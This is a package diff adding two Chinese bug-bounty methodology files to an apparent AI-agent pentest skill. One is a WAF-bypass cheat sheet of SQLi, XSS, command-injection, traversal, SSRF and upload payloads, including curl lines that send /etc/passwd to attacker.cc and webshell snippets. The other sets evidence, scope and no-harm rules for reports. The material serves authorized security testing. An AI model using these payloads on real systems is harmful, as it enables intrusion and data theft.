opencode-skills-collection 4.0.43 → 4.0.44

package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md

@@ -0,0 +1,357 @@
+# 通用绕过工具箱
+
+> 综合改写自 `core/bypass_strategies.md` + 各 wooyun playbook 的 bypass 章节
+> 视角：黑盒，被 WAF / 过滤器 / 业务校验拦了，怎么继续
+
+---
+
+## 1. 绕过的本质
+
+```
+绕过 = 解析差异 + 边界 corner case + 防护盲区
+
+每次被拦时问自己：
+  Q1. 防护组件和后端的解析是否一致？（前置 WAF vs Tomcat、CDN vs 源站）
+  Q2. 防护是否覆盖所有 corner case？（双编码、混合 case、长度溢出）
+  Q3. 防护是否覆盖所有入口？（Header、Cookie、HPP、其他动词）
+```
+
+通用决策树：
+
+```
+Payload 被拦
+ ├─ 看返回是 WAF？应用？还是源站？
+ │   ├─ WAF 拦 → 协议层绕过（HPP / Chunked / 大小写 / Content-Type）
+ │   └─ 应用拦 → 编码层 / 语义层（双写、注释、等价函数）
+ ├─ 看是黑名单还是白名单
+ │   ├─ 黑名单 → 找漏掉的关键字 / 同义词
+ │   └─ 白名单 → 找白名单允许的危险用法
+ └─ 看是输入过滤还是输出编码
+     ├─ 输入过滤 → 多重编码 / 二次注入
+     └─ 输出编码 → 上下文逃逸（HTML→JS、URL→JS）
+```
+
+---
+
+## 2. SQLi 绕过表（分维度）
+
+### 2.1 关键字过滤
+| 技巧 | Payload | 适用 |
+|------|---------|------|
+| 大小写 | `UnIoN SeLeCt` | 黑名单纯 lower 检测 |
+| 双写 | `UNunionION SELselectECT` | 一次替换型过滤器 |
+| 注释插入 | `un/**/ion sel/**/ect` | 空白符过滤 |
+| MySQL 内联注释 | `/*!50000union*//*!50000select*/` | 经典 WooYun 案例 |
+| 同义词 | `\|\|` 代 `OR`，`&&` 代 `AND` | 关键字 OR/AND 过滤 |
+| 等号替换 | `LIKE` / `REGEXP` / `IN(1)` / `BETWEEN` | `=` 过滤 |
+| 函数等价 | `mid()`/`substr()`/`substring()`/`left()` | 子串函数过滤 |
+
+### 2.2 空格过滤
+```
+/**/   %09(Tab)   %0a(LF)   %0d(CR)   %0b   %0c
+括号嵌套：select(user)from(dual)
+反引号（MySQL）：`select`user`from`
+加号（URL 参数位）：select+user+from
+```
+
+### 2.3 引号绕过
+```
+0x61646D696E              （hex，'admin'）
+char(97,100,109,105,110)
+%df%27                    （GBK 宽字节）
+```
+
+### 2.4 数字型注入（无需引号）
+```
+id=1 AND 1=1
+id=1 AND sleep(5)
+id=1 AND IF(SUBSTRING(user(),1,1)='r',sleep(5),0)
+```
+
+### 2.5 时间盲注的双层延时（绕过 sleep 关键字）
+```
+id=(select(2)from(select(sleep(8)))v)        # WooYun-2015-0114228
+id=1 AND (SELECT (CASE WHEN (1=1) THEN SLEEP(10) ELSE 1 END))
+id=1 AND dbms_pipe.receive_message('a',5)=1   # Oracle
+id=1; WAITFOR DELAY '0:0:5'--                 # MSSQL
+```
+
+---
+
+## 3. XSS 绕过表
+
+### 3.1 标签过滤
+```
+<ScRiPt>   <script/x>   <script\n>   <script\t>
+<svg/onload=alert(1)>
+<img src=x onerror=alert(1)>
+<details open ontoggle=alert(1)>
+<input autofocus onfocus=alert(1)>
+<marquee onstart=alert(1)>
+<video><source onerror=alert(1)>
+```
+
+### 3.2 事件库（按罕见度，越往下越能打 WAF）
+```
+onerror onload onclick onmouseover                  # 已被多数 WAF 收录
+onfocus onblur oninput onchange autofocus           # 中等
+onanimationend ontransitionend ontoggle ontouchstart
+onpointerenter oncanplay onauxclick onbeforeprint   # 罕见
+```
+
+### 3.3 关键字 / 括号绕过
+```
+alert(1)                # Unicode
+eval('al'+'ert(1)')          # 拼接
+Function('alert(1)')()       # 构造器
+window['al'+'ert'](1)
+String.fromCharCode(97,108,101,114,116,40,49,41)
+alert`1`                     # 模板字符串绕括号
+throw onerror=alert,1
+location='javascript:alert(1)'
+```
+
+### 3.4 编码层（按上下文）
+| 上下文 | 编码 | 示例 |
+|--------|------|------|
+| HTML | 实体 | `&#60;script&#62;alert(1)&#60;/script&#62;` |
+| HTML | 16 进制实体 | `&#x3c;script&#x3e;` |
+| JS 字符串 | Unicode | `<iframe/onload=alert(1)>` |
+| URL | data: + base64 | `data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==` |
+| CSS（IE） | 16 进制 | `xss:\65\78\70\72\65\73\73\69\6f\6e(1)` |
+
+### 3.5 上下文逃逸快表
+| 输出位置 | 闭合 | Payload |
+|---------|------|---------|
+| `<div>HERE</div>` | 标签 | `<svg onload=alert(1)>` |
+| `<input value="HERE">` | 引号 | `" autofocus onfocus=alert(1) "` |
+| `<a href="HERE">` | 协议 | `javascript:alert(1)` |
+| `<script>var x="HERE"</script>` | 引号 | `";alert(1);//` |
+| `<script>var x={"k":"HERE"}</script>` | JSON | `'-alert(1)-'` 或 `"};alert(1);//` |
+
+---
+
+## 4. 命令注入绕过表
+
+### 4.1 拼接符
+```
+Linux:    ;   |   ||   &&   &   `cmd`   $(cmd)   %0a(LF)
+Windows:  &   |   ||   &&   %0a
+```
+
+### 4.2 空格绕过
+```
+${IFS}        cat${IFS}/etc/passwd
+${IFS}$9      cat${IFS}$9/etc/passwd
+%09(Tab)      cat%09/etc/passwd
+{a,b}         {cat,/etc/passwd}
+重定向        cat</etc/passwd
+```
+
+### 4.3 关键字绕过
+```
+c'a't  c"a"t  c\at         # 引号 / 反斜杠分割
+a=ca;b=t;$a$b /etc/passwd  # 变量拼接
+/bin/c?t /etc/passwd       # 通配符
+/???/??t /etc/p??s??       # 全通配
+echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh    # base64 嵌套  # security-allowlist: SEC008
+```
+
+### 4.4 cat 替代品（命令字过滤时）
+```
+tac head tail more less nl sort uniq od xxd base64 rev paste strings
+# 全部能读出文件内容
+```
+
+### 4.5 无回显外带
+```bash
+# DNSLog
+ping `whoami`.xxx.dnslog.cn
+curl `cat /etc/passwd | base64 | tr -d '\n'`.xxx.dnslog.cn
+
+# HTTP 外带
+curl https://attacker.cc/?d=`whoami`
+curl -X POST -d "$(cat /etc/passwd | base64)" https://attacker.cc/
+
+# 时间外带（盲）
+if [ `id -u` -eq 0 ]; then sleep 5; fi
+```
+
+---
+
+## 5. 路径遍历 / 文件读绕过表
+
+### 5.1 编码梯度
+```
+../        →  %2e%2e%2f
+../        →  %252e%252e%252f      （双重 URL）
+../        →  ..%c0%af / ..%c1%9c   （超长 UTF-8，旧 Tomcat / GlassFish）
+../        →  %u002e%u002e%u2215    （IIS / 旧版 Java）
+../        →  ....// / ..../        （过滤器删一次后剩下原型）
+```
+
+### 5.2 截断 / 协议
+```
+%00              ../../../etc/passwd%00.jpg     # PHP <5.3.4 / 旧 Java
+;                /admin;.jpg                    # IIS / Tomcat
+file://          file:///etc/passwd
+view-source:     view-source:file:///etc/passwd
+php://filter     php://filter/convert.base64-encode/resource=index.php
+```
+
+### 5.3 目录跳板
+```
+/.            //          /./           /../         /;/
+/static/../config         /assets/..%2fapp/config.yml
+```
+
+---
+
+## 6. SSRF 绕过表
+
+### 6.1 IP 表示法
+```
+http://127.0.0.1
+http://2130706433             # 十进制
+http://0177.0.0.1             # 八进制
+http://0x7f.0x0.0x0.0x1       # 16 进制
+http://127.1                  # 简写
+http://[::1]                  # IPv6
+http://[::ffff:127.0.0.1]
+```
+
+### 6.2 域名绕过
+```
+http://127.0.0.1.nip.io       # 公共解析回环
+http://localtest.me           # 同上
+http://attacker.com#@127.0.0.1
+http://attacker.com\@127.0.0.1
+http://attacker.com&@127.0.0.1
+DNS Rebinding                 # 第一次查询返回外网，第二次返回内网（rbndr.us、tartarsauce.org）
+```
+
+### 6.3 协议
+```
+file://     file:///etc/passwd
+gopher://   gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall...
+dict://     dict://127.0.0.1:6379/info
+ldap://     ldap://attacker.com/
+ftp://      ftp://attacker.com/
+```
+
+### 6.4 云元数据（必试）
+```
+AWS         http://169.254.169.254/latest/meta-data/
+AWS-IMDSv2  curl -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token
+GCP         http://metadata.google.internal/computeMetadata/v1/    Header: Metadata-Flavor: Google
+Azure       http://169.254.169.254/metadata/instance?api-version=2021-02-01    Header: Metadata: true
+阿里云      http://100.100.100.200/latest/meta-data/
+腾讯云      http://metadata.tencentyun.com/latest/meta-data/
+```
+
+---
+
+## 7. WAF 通用绕过
+
+### 7.1 协议层
+| 技巧 | 说明 |
+|------|------|
+| HPP（HTTP Parameter Pollution） | `?id=1&id=2' OR 1=1--`，前/后端取的参数不同 |
+| Chunked Transfer-Encoding | `Transfer-Encoding: chunked` 让 WAF 看不到完整 body |
+| Content-Type 混淆 | multipart 边界混淆 / 改为 `application/xml` 让 WAF 不解析 |
+| HTTP 方法覆盖 | `X-HTTP-Method-Override: PUT`、`_method=DELETE` |
+| HTTP/2 vs HTTP/1 转换差异 | 见 `playbooks/http-smuggling.md` |
+| 大小写 Header | `cONTENT-tYPE` 某些 WAF 不认 |
+
+### 7.2 编码层
+```
+1. 多重编码：URL → HTML 实体 → Unicode 三重套娃
+2. 字符集：GBK 宽字节 / UTF-7 / UTF-16
+3. Content-Encoding: gzip 压缩 body
+```
+
+### 7.3 长度 / 拆分
+```
+1. 超长参数（超过 WAF 检测窗口，常见 8KB / 16KB）
+2. 多参数组合：part1=SEL part2=ECT
+3. 二次注入：先存进 DB，再触发
+4. 冷门入口：Cookie / Referer / X-Forwarded-For / User-Agent
+```
+
+---
+
+## 8. 文件上传绕过表
+
+| 检测层 | 绕过 |
+|--------|------|
+| 客户端 JS | 禁用 JS / Burp 拦响应 |
+| 扩展名黑名单 | `.Php`、`.pHp`、`.php3/.php5/.phtml/.phar`、`.PHP%20`、`.php.` |
+| 扩展名白名单 | `%00` 截断（旧版 PHP/Java）、`shell.jpg/.php`（Nginx fix_pathinfo）、`shell.asp;.jpg`（IIS6）、`.jspx` |
+| Content-Type | 改 `image/jpeg`、`image/gif` |
+| 文件头 | 加 `GIF89a\n<?php ...?>` 或 `\x89PNG...` |
+| 内容静态特征 | 变量函数 `$a='ass'.'ert'; $a($_POST['x']);`、`array_map('assert',$_POST)` |
+| 二次渲染 | 把 payload 放在 EXIF、IDAT 块，渲染后仍可读 |
+| 路径绕过 | `filename=../../web/shell.php`，旧版 ZipSlip |
+| 解析配置 | Apache 多后缀 `.php.xxx` 从右向左、Nginx `/x.jpg/.php` |
+
+---
+
+## 9. 上传后访问路径不返回？
+
+```
+1. 抓包看响应是否含完整 URL
+2. 看预览功能（很多 CMS 上传后能预览）
+3. 看上传时间戳命名规则（`20140829221136jsp.jsp` 模式 → 时间爆破 ±60 秒）
+4. 编辑器自带浏览功能（FCKeditor /connectors/...?Command=GetFoldersAndFiles&CurrentFolder=/../）
+5. 配合任意文件读 / .git 泄露反推目录
+```
+
+---
+
+## 10. Corner Case 速查清单
+
+每发新 payload 前过一遍这张表：
+
+- [ ] 双重 URL 编码（`%252e`）
+- [ ] Unicode 变体（`%u0027`、`'`）
+- [ ] 宽字节（GBK，`%df%27`）
+- [ ] Overlong UTF-8（`%c0%ae` = `.`）
+- [ ] 混合编码（部分编码 + 部分明文）
+- [ ] 注释嵌套（`/*!50000select*/`）
+- [ ] 科学计数法 / 浮点（`1e0union`、`1.0union`）
+- [ ] 负数 / 0（`-1 UNION`、`0 OR`）
+- [ ] 制表 / 换页（`\t \v \f \r`）
+- [ ] HPP（重复参数）
+- [ ] Chunked / Content-Encoding gzip
+- [ ] 重复 Header（重复 Host、重复 CL）
+- [ ] 路径规范化差异（`//`、`/./`、`/;param`、尾斜杠）
+- [ ] JSON 重复 key（取首 / 取末）
+- [ ] XML DTD（`<!ENTITY xxe SYSTEM "file:///etc/passwd">`）
+
+---
+
+## 11. 实战工作流（被拦了怎么办）
+
+```
+1. 先确认是谁拦的
+   → 看响应头：Server / X-WAF / 错误页特征 / 状态码（403 / 406 / 418）
+   → 同一参数发普通字符串看是否过；只在恶意 payload 触发就是 WAF
+
+2. 识别 WAF
+   → wafw00f https://target
+   → 看常见特征：Cloudflare（cf-ray）、ModSecurity、AWS WAF、阿里云盾、长亭雷池
+
+3. 选第一道绕过：
+   → 编码层（最便宜）：URL 双编码 → Unicode → 实体
+   → 语义层：等价函数 / 注释 / 大小写
+   → 协议层：HPP / Chunked / 改 method / 改 Content-Type
+
+4. 第一道失败：
+   → 拆 payload（多参数组合 / 超长前缀填充 / Cookie 走私）
+   → 切入口（Header → Cookie → JSON body → multipart）
+
+5. 还失败：
+   → 二次注入（先存再触发）
+   → 切目标（如果是 SaaS 多租户，换租户域名 / 子域）
+   → 记录"防护有效"，去打下一个端点
+```

package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md

@@ -0,0 +1,205 @@
+# 黑盒证据纪律
+
+> 视角：报漏洞之前，确保你说的每一句都站得住，平台审核员复现得了
+
+---
+
+## 1. 一句话原则
+
+**每个漏洞结论 = 一段可复现的 HTTP 流量 + 一段可观察的副作用证据。**
+
+没有这两段 → 不是漏洞，是猜测，不要写进报告。
+
+---
+
+## 2. 黑盒"幻觉"是怎么产生的
+
+| 幻觉类型 | 典型表现 | 真实情况 |
+|---------|---------|---------|
+| **响应特征幻觉** | 看到 500 + "syntax error" 就报 SQLi | 可能只是参数类型不匹配，不一定可注入 |
+| **延时幻觉** | `sleep(5)` 后响应变慢就说时间盲注 | 可能是网络抖动 / 限流 / 偶发慢 |
+| **回显幻觉** | 把自己输入的 payload 看到，就说 XSS | 可能在 `<textarea>` / 已转义 / Content-Type=text/plain |
+| **报错幻觉** | 错误页提到 `/var/www/html/...` 就说路径泄露 | 可能本来就是公开文档 |
+| **猜版本幻觉** | 看到 `Server: nginx/1.x` 就报 CVE | 没有任何 PoC 验证 |
+| **内部 IP 幻觉** | DNSLog 收到一条记录就说 SSRF | 可能是浏览器预读 / 第三方扫描 |
+| **平台数据幻觉** | "我以为是该公司的资产" | 资产不在 scope，提交就违规 |
+
+> SRC 平台审核员每天看几百份报告，"我以为"漏洞会被秒拒并降低你的信誉分。
+
+---
+
+## 3. 黑盒证据三原则
+
+### 原则 1：流量原貌
+
+报告中的 PoC **必须**是可以复制粘贴到 curl / Repeater 直接复现的。
+
+不要写：
+```
+"在 search 接口提交 ' or 1=1-- 即可触发 SQL 注入"
+```
+
+要写：
+```http
+POST /api/search HTTP/1.1
+Host: target.com
+Authorization: Bearer eyJhbGc...（脱敏到前 10 字符）
+Content-Type: application/json
+Content-Length: 45
+
+{"keyword":"a' UNION SELECT version()-- -"}
+```
+
+加上：
+- 完整 URL（含协议）
+- 完整方法 + Header（敏感 Header 脱敏）
+- Body 一字不漏
+- 响应关键片段（截图 + 文本）
+
+### 原则 2：差分证明
+
+漏洞 = 行为偏离预期。证明偏离需要"对照组"。
+
+| 测试 | 至少要有这 3 包 |
+|------|--------------|
+| **SQLi（盲）** | 真条件包（5s 延时） + 假条件包（即时返回） + baseline 干净包 |
+| **IDOR** | 自己资源 200 + 他人资源 200（含他人数据） + 不存在资源 404 |
+| **越权** | 普通用户拒绝 403 + 管理员通过 200 + 普通用户绕过 200（关键证据） |
+| **逻辑** | 正常流程的响应 + 篡改流程的响应 + 篡改后的真实副作用（订单出现） |
+| **SSRF** | 内网 IP 拒绝（参考） + 内网 IP 允许（漏洞） + 外网回连（DNSLog） |
+
+### 原则 3：副作用可观察
+
+代码执行类漏洞，必须有"在目标上发生事情"的证据：
+
+| 漏洞类型 | 副作用证据 |
+|---------|----------|
+| **RCE** | DNSLog / HTTP 外带回显 / 文件创建并读回 / 命令输出截图 |
+| **SSRF** | 收到内网响应正文 / 元数据 token / 外部 callback 服务器日志 |
+| **任意文件读** | 目标文件实际内容（`/etc/passwd` 含 root: 行 / 配置含真实数据库地址） |
+| **文件上传** | 上传后访问文件，得到非 404 响应 |
+| **SQLi** | 实际数据：`version()`、`current_database()`、admin hash 前缀 |
+| **XSS** | 弹窗截图 + URL bar / 配合 SRC 自家 XSS Hunter 平台收到 callback |
+
+**严禁**：拖库 / 删数据 / 改密码 / 留 shell。证据取到"足以证明能做"即停。
+
+---
+
+## 4. 复现率要求
+
+| 漏洞等级 | 最小复现率 | 复现次数 |
+|---------|----------|---------|
+| P0 RCE / 鉴权绕过 | 100% | 至少 3 次，间隔 1h+ |
+| P1 SQLi / IDOR | 95%+ | 至少 3 次 |
+| P1 逻辑 / 越权 | 90%+ | 至少 5 次（不同账号 / 不同时间） |
+| P2 / 时间盲 | 80%+ | 至少 5 次，附带统计延时差 |
+| 竞态 | "在 N 次中能稳定 hit" | 5 次以上，给脚本 |
+
+复现率不到 → 在报告里**主动**说明（"在 5 次测试中 4 次成功"），不要装作 100%。
+
+---
+
+## 5. DNSLog / 带外平台选择
+
+| 用途 | 推荐平台 |
+|------|---------|
+| DNS 外带 | `dnslog.cn`、`ceye.io`、Burp Collaborator、`interactsh`（免费、私有部署） |
+| HTTP 外带 | Burp Collaborator、`requestbin.com`、自建 webhook |
+| LDAP（JNDI/Log4Shell） | 自建 `JNDI-Injection-Exploit` / `marshalsec` |
+| 通用回连 | `webhook.site`（界面友好，便于截图） |
+
+**强烈建议自建 OOB 服务器**：
+- 能保留完整证据日志
+- 不会和别的研究员撞 token
+- 可以放在不同 IP 段验证 SSRF "外网可达"
+
+报告里写：
+```
+带外回显域名：xx.attacker.com（攻击者控制）
+DNS 解析记录：2025-05-09 10:23:45 UTC，源 IP a.b.c.d 查询 xx.attacker.com
+完整日志见附件 dns_log.txt
+```
+
+---
+
+## 6. 截图规范
+
+每张截图至少包含：
+
+- 完整 URL bar（证明域名 + 路径 + 参数）
+- 浏览器 / Burp 时间戳
+- 响应内容（与漏洞强相关的字段高亮）
+- 如有数据：**马赛克脱敏**，但保留位数和格式（手机号 `138****1234`、ID `12*****345`）
+
+报告封面页通常需要 1 张"漏洞总览图"（一眼看到结果）。
+
+---
+
+## 7. 录屏规范（高分漏洞建议）
+
+P0/P1 漏洞，附 30s–2min 录屏极大提升过审速度。
+
+录屏要点：
+- 开头露出 URL + 当前用户身份
+- 实时演示请求 + 响应
+- 关键页面/数据上有马赛克
+- 时间戳可见
+- 录完不剪辑（剪辑会被怀疑伪造）
+
+工具：OBS、ScreenToGif、Burp 自带 Logger 录像、ffmpeg `ffmpeg -f x11grab ...`。
+
+---
+
+## 8. 范围 / 合规边界
+
+报告之前自检：
+
+- [ ] 域名 / IP 在 program scope 内（看 H1/Bugcrowd policy）
+- [ ] 没有访问到他人的 PII（如果访问到了，立即停止 + 在报告中说明 + 不在报告中放原始数据）
+- [ ] 没有触发 DDoS / 大量请求（fuzzing 限速 1–5 rps，IDOR 遍历最多取 10 条样本）
+- [ ] 没有删除 / 修改任何数据
+- [ ] 没有上传可被他人访问的内容（webshell / 钓鱼页面）
+- [ ] 没有访问其他用户账号（OAuth 测试只用自己控制的两个账号）
+
+不合规的"证据"会让漏洞作废 + 账号封禁。
+
+---
+
+## 9. 反模式（这些写法会被审核员秒拒）
+
+```
+❌ "可能存在 SQL 注入，建议进一步验证。"
+❌ "推测后端使用了 MySQL，从而有时间盲注。"
+❌ "由于 Header 里有 X-Powered-By: PHP，可能是反序列化漏洞。"
+❌ "通过黑盒猜测，admin/admin 可能可登录。"（必须实测且只测 1–3 次，避免暴力）
+❌ "我没有 PoC，但理论上可以..."
+❌ "已上传 webshell，地址 /uploads/x.php"（违规）
+❌ "我已经把 1000 条用户数据下载到本地"（违规）
+```
+
+正确：
+
+```
+✓ "通过 sleep(5) 与 sleep(0) 在同一参数下的稳定 5 秒延时差异，
+   确认时间盲注存在。完整流量见附件 1，复现 5/5 次。"
+✓ "通过两个测试账号 A、B，A 可以读取 B 的订单详情，
+   附 HTTP 包 + 截图 + 仅 1 条样本（已脱敏）。
+   未尝试遍历或导出。"
+```
+
+---
+
+## 10. 自检清单（提交前过一遍）
+
+- [ ] 标题符合 `[等级][条件][类型] 端点 - 一句话` 格式
+- [ ] 资产在 scope
+- [ ] 复现步骤逐条编号，含完整 HTTP 包
+- [ ] 至少 1 张响应截图 + 1 张 URL 可见的截图
+- [ ] 副作用证据（外带 / 数据 / 文件）
+- [ ] 至少 3 次复现成功
+- [ ] CVSS 3.1 / 4.0 vector + 影响段
+- [ ] 修复建议（具体 + 可操作）
+- [ ] 未对生产数据造成不可逆影响
+- [ ] 个人 PII / 第三方数据已脱敏
+
+走完这 10 条再点 Submit。